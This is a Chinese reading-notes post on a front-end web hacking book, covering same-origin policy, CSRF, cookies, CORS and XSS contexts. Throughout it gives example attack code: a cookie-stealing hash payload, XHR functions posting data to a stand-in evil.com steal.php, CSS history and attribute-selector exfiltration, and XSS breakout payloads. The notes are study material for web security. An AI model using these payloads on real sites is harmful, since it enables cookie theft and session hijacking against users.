web前端黑客技术揭秘-读书笔记[working]

第二章 前端基础

同域的概念

  • 同协议(http https)
  • 同域名
  • 同端口
1
2
<script> eval(location.hash.substr(1));</script> 获取锚点后面的东西并执行
http://xxx/xxx#new%20Image.src="http://xxxxx/com?c="+escape(document.cookie)

CSRF

CSRF会借用目标用户的权限做一些借刀杀人的事情(注意是借用而不是盗用, 不是要拿到权限), 盗取通常是xss干的事情, 借用是csrf, 例子有p4ctf 的 web50

HTTP

1.1 1.0 0.9

  • HttpOnly: (默认无, 如果有的话表明cookie仅仅存在于http层面不能被客户端脚本读取)
  • Secure: (默认无, 有则表明cookie仅仅通过https来传输)

iframe

很多网站会通过iframe来引入第三方内容比如广告,第三方web游戏和应用.

约定网页是父页而iframe中的是子页. 如果父页和子页同源,那么可以通过contentWindow来操作彼此的DOM树, 否则同源策略会禁止双方对彼此的资源读写. 但是子页还是可以对父页的location值进行写操作,这样可以让父页重定向到其他网页比如广告页面中 但是对location是没有读权限的, 因为有些隐私信息会存在父页的url中, 这样做可以避免隐私泄露.

获取特定标签对象

1
2
document.getElementById('private_msg').innerHTML;
document.getElementsByTagName('div')[2].innerHTML;

请求头响应头和javascript

不是任何请求头都可以通过javascript来设置.可以通过getResponseHeadergetAllResponseHeaders来读取, 但是同时, 不是所有响应头都是可以被客户端脚本读取的, 其中就有设置了HttpOnly的Set-Cookie/Set-Cookie2, 这是严禁客户端脚本读取的.

在apache的历史版本里面,http请求长度超过LimitRequestFieldSize长度的时候, 服务器返回400错误并在返回消息中将出错的请求头内容输出, 其中就包括了httponly cookie

Ajax

Ajax是严格遵循同源策略的, 既不能从另一个域读取数据也不能向他发送数据. 但是有一种场合除外, www.foo.com 向www.evil.com 发送数据的时候带上请求头Origin: http://www.foo.com . 同时目标域来判断这个域名是否在白名单中,如果是就返回响应头Access-Control-Allow-Origin: http://www.foo.com 表示同意跨域. 如果值是通配符*, 表示任何域都可以发送数据过来.

如果不返回响应头, 浏览器就会报权限错误.然而, 实际上数据已经被目标域给接受了.但是这样的跨域无法带上会话信息, 除非设置xhr的withCreadentials属性为true.目标域:

1
2
3
<?php
header("Access-Control-Allow-Origin: http://foo.com");
header("Access-Control-Allow-Credentials: true"); // 如果为true那么上面的值不能为通配符* ,这是浏览器为了安全进行的考虑

post

一般的content-type为application/x-www-form-urlencoded, 如果是上传文件就一般为 multipart/form-data

一般post

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
xhr = function(){
var request = false;
if(window.XMLHttpRequest){
request = new XMLHttpRequest();
}else if(window.ActiveXObject){
try{
request - new window.ActiveXObject("Microsoft.XMLHTTP");
}catch(e){}
}
return request;
}();

request = function(method, src, argv, content_type){
xhr.open(method, src, false); // 同步方式, false为同步, true就是异步就是ajax
if(method=="POST")xhr.setRequestHeader('Content-Type',content-type); // 设置类型, 普通表单还是文件
xhr.send(argv);
return xhr.responseText;
};

attack_a = function(){
var src = "http://www.evil.com/steal.php";
var argv_0 = "&name=value1&name2=value2";
request("POST", src, argv_0, "application/x-www-form-urlencoded");
}

attack_b = function(){
var src = "http://www.evil.com/steal.php";
var name1 = "value1";
var name2 = "value2";
var argv_0 = "\r\n";
argv_0 += "------------aabbaabb\r\nContent-Disposition: form-data; name=\"name1\"\r\n\r\n";
argv_0 += (name1 + "\r\n");
argv_0 += "------------aabbaabb\r\nContent-Disposition: form-data; name=\"name2\"\r\n\r\n";
argv_0 += (name2 + "\r\n");
argv_0 += "------------aabbaabb--\r\n";
request("POST", src, argv_0, "multipart/form-data;boundary=------------aabbaabb");
}

attack_a();
attack_b();

或者form表单自提交也可以模拟(常用于csrf中)

子域策略cookie

1
2
document.cookie="test=1;domain=foo.com"
foo.com成为了父级域名, 这样多个子域名之间可以共享cookie

路径策略cookie

1
2
3
4
5
6
7
8
9
10
# /evil/ 路径想读取 /admin/ 路径下的cookie的话, 可以通过跨域iframe来实现
xc = function(src){
var o = document.createElement("iframe");
o.src = src;
document.getElementsByTagName("body")[0].appendChild(o);
o.onload = function(){
d = o.contentDocument || o.contentWindow.document;
alert(d.cookie);
};
}('http://a.foo.com/admin/index.php')
  • phpinfo 调试信息
  • Django 调试信息
  • Apache 2.2 400 错误暴露

cookie大体上分sessionStorage (存储在内存中) 和localStorage(存储在本地文件系统中)

1
2
3
localStorage.setItem("a", "xxxxxxxxxxxxxxx");
localStorage.getItem("a");
localStorage.removeItem("a");

在数据时效性上, localStorage不像sessionStorage 可以设置数据存活的时间, 所以只要用户不去主动删除, localStorage的内容将永远存在.

localStorage 存储对XSS没有任何防御机制, 一旦出现XSS漏洞, 那么存储在localStorage的数据就极易获取.

利用E4X来混淆javascript代码

E4X技术是javascript和actionscript的一种标准, 当前只有firefox支持, 这种技术是将XML作为javascript的对象

1
2
3
4
<script>
foo = <foo><id name="thx">x</id></foo>; // 没有引号包围的!
alert(foo.id);
</script>

将javascript代码放入xml数据中 比如x=<>alert(‘htllo’)</>, 但是这样子不能自执行, 需要eval(x).要达到自我执行, 就这样写x=<>{alert(‘hello’)}</>, 表示里面是要执行的脚本.

javascript 函数劫持

只要在这个函数使用前再次声明一下就好了

1
2
3
4
5
6
7
var _eval=eval;
eval=function(x){
if(typeof(x)=='undefined'){return;}
alert(x);
_eval(x); // 这是原本的eval函数
};
eval('alert(1)');

在现代浏览器中需要改一改

1
2
3
4
5
6
7
8
9
var _write=document.write.bind(document);
// 由于默认是在window对象下寻找write方法, 而window对象就没有这个方法, 如果不绑定的话, 接下来的_write执行就会报错
document.write = function(x){
if(typeof(x)=='undefined'){return ;}
// any evil code
_write(x);
};

document.write("<script>alert(1)</script>");

CSS 容错性

如果css样式块中出现非法字符, 并不影响解析, 但是如果样式块前面有大量的不合法数据的话, 可以

1
2
3
4
5
6
7
<title>1</title>
.....
<div>....</div>
{}h1{font-size:50px;color:red
</style>
<div>xxxx</div>
}h2{color:green}

h1前面加上{}就可以了

CSS伪类

1
<a href="http://www.baidu.com/" id="a1">http://www.baidu.com/</a><br />

并针对id设置样式

1
#a1:visited {background: url(http://www.evil.com/css/steal.php?data=a1);}

只要href存在于历史记录中, 就会发送请求

CSS 属性选择

比如

1
2
3
4
<style>
input[value^="x"]{background: url(http://www.evil.com/css/steal.php?data=0x);}
</style>
attr selector: <input type="text" value="xyz" /><br />

如果value的值(xyz)是x开头的话,那么就会发送一个请求给www.evil.com , 有点盲注的感觉?

第三章 前端黑客之XSS

DOM xss概念

比如

1
2
3
<script>
eval(location.hash.substr(1));
</script>

拥有这段代码的页面会将锚点后的字符串执行, URL并不会发向服务端, 这整个过程和服务端完全无关, 靠的是浏览器的DOM解析, 可以认为完全是客户端的事情

1
2
3
document.open(xxx)
window.open(xxx)
window.location.href=...
1
2
3
4
eval(xxx)
window.execScript(xxx)
window.setInterval(xxx)
window.setTimeout(xxx)

第四章 前端黑客之CSRF

比如

攻击者构造www.b.com 并诱发受害人打开页面, 打开的时候代码触发, 向www.a.com发送了转账的get请求, 而在打开b之前要求已经完成了银行的身份验证, 这就是CSRF.

同源策略可以限制客户端脚本的跨域请求行为, 但是实际上, 由客户端HTML标签发出的跨域GET请求和POST请求是合法的, 不在同源策略的限制中

可以没有js参与

1
<img src=http://www.evil.com>

或者

1
2
3
<script>
new Image().src= 'http://evil.com'
</script>

这里脚本只是生成img对象, 并没有参与跨站, 不会被同源策略阻挠.

注意:

IE的策略里面, 两种cookie中, 本地cookie是不允许在跨域请求中被带上, 除非设置P3P, 其他浏览器没这种限制

HTML可以发起GET请求的标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<link href=''>
<img src=''>
<img lowsrc=''>
<img dynsrc=''>
<meta http-equiv="refresh" content="0; url=">
<iframe src="">
<frame src="">
<script src="">
<bgsound src="">
<embed src="">
<video src="">
<audio src="">
<a href="">
<table background="">
...

CSS中的发GET请求

1
2
@import ""
background:url("")

JSON HiJacking

自定义回调函数, 将AJAX中响应数据中的JSOn作为参数并处理(用参数中的cookie来发送请求之类的

前端黑客之界面操作劫持

界面劫持操作时一种基于视觉欺骗的web会话劫持攻击, 它通过在网页的可见输入控件上覆盖一个不可见的框(iframe), 是的用户误以为在操作可见控件, 而实际上用户的操作行为被其不可见的框所劫持, 执行不可见框中的恶意代码, 从而完成在用户不知情的情况下窃取敏感信息, 篡改数据等攻击. 主要分为

  • 点击劫持(Clickjacking)
  • 拖放劫持(Drag&Drop jacking) 在浏览器中, 拖放操作是不受同源策略限制的, 用户可以把一个域的内容拖放到另一个不同的域
  • 触屏劫持(Tapjacking)

这块部分以后再补

漏洞挖掘

CSRF 思路

  • 目标表单是否有有效的token随机串
  • 目标表单是否有验证码
  • 目标是否判断referer来源
  • 网站根目录下crossdomain.xml的allow-access-from domain是否是通配符
  • 目标json数据是否可以自定义callback函数等

界面劫持

  • 目标http响应头是否设置x-frame-options
  • 目标是否有javascript的frame busting机制
  • 用iframe嵌入目标网站试试

xss挖掘

一个最普通的URL如下:

1
<scheme>://<netloc>/<path>?<query>#<fragment>

一般来说<fragment>的值不会出现在服务器端解析, 除非web2.0网站, 可能会用ajax来将fragment作为参数来进行各种局部页面刷新

html标签之间

在这些标签之间无法执行脚本

1
2
3
4
5
6
7
<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<plaintext></plaintext>

如果想执行, 那只能先把这些标签统统闭合了再起一个<script>标签.

html标签之内

对于<input type="text" value="[输出]"/>

  • " on mouseover=alert(1) x="来闭合属性
  • "><script>alert(1)</script>闭合标签和属性, 后面的东西不用管他

hidden属性会让xss无法触发, 比如下面

1
<input value="[输出]" type="hidden" />

这个时候可以覆盖type

1
2
3
1" onmouseover=alert(1) type="text
==>
<input value="1" onmouseover=alert(1) type="text" type="hidden" />

对于不同的属性, 也有不同的payload

输出在src/href/action等属性中
1
2
3
4
javascript:alert(1)//
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

(PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== ==> <script>alert(1)</script>)

如果注释符号被过滤了, 那么可以利用javascript的逻辑运算符号, 因为是弱类型语言, 所以这样是合法的

输出在on*事件中

on*事件内是可以执行javascript脚本的

1
<a href="#" onclick="alert(1)">dd</a>
输出在style属性内
1
<a href="#" style="width:1;xss:expression(if(!window.x){alert(1);window.x=1;})">click me</a>

成为javascript代码的值

闭合script标签或者是双引号单引号什么的

关于转义

当上下文是html的时候, html编码是可以自动转换回来的, 但是当上下文是javascript 的时候就不会.

而javascript上下文环境会自动解码的情况有仨

  • Unicode形式: \uH
  • 普通16进制
  • 在字符前面加上斜杆的纯转义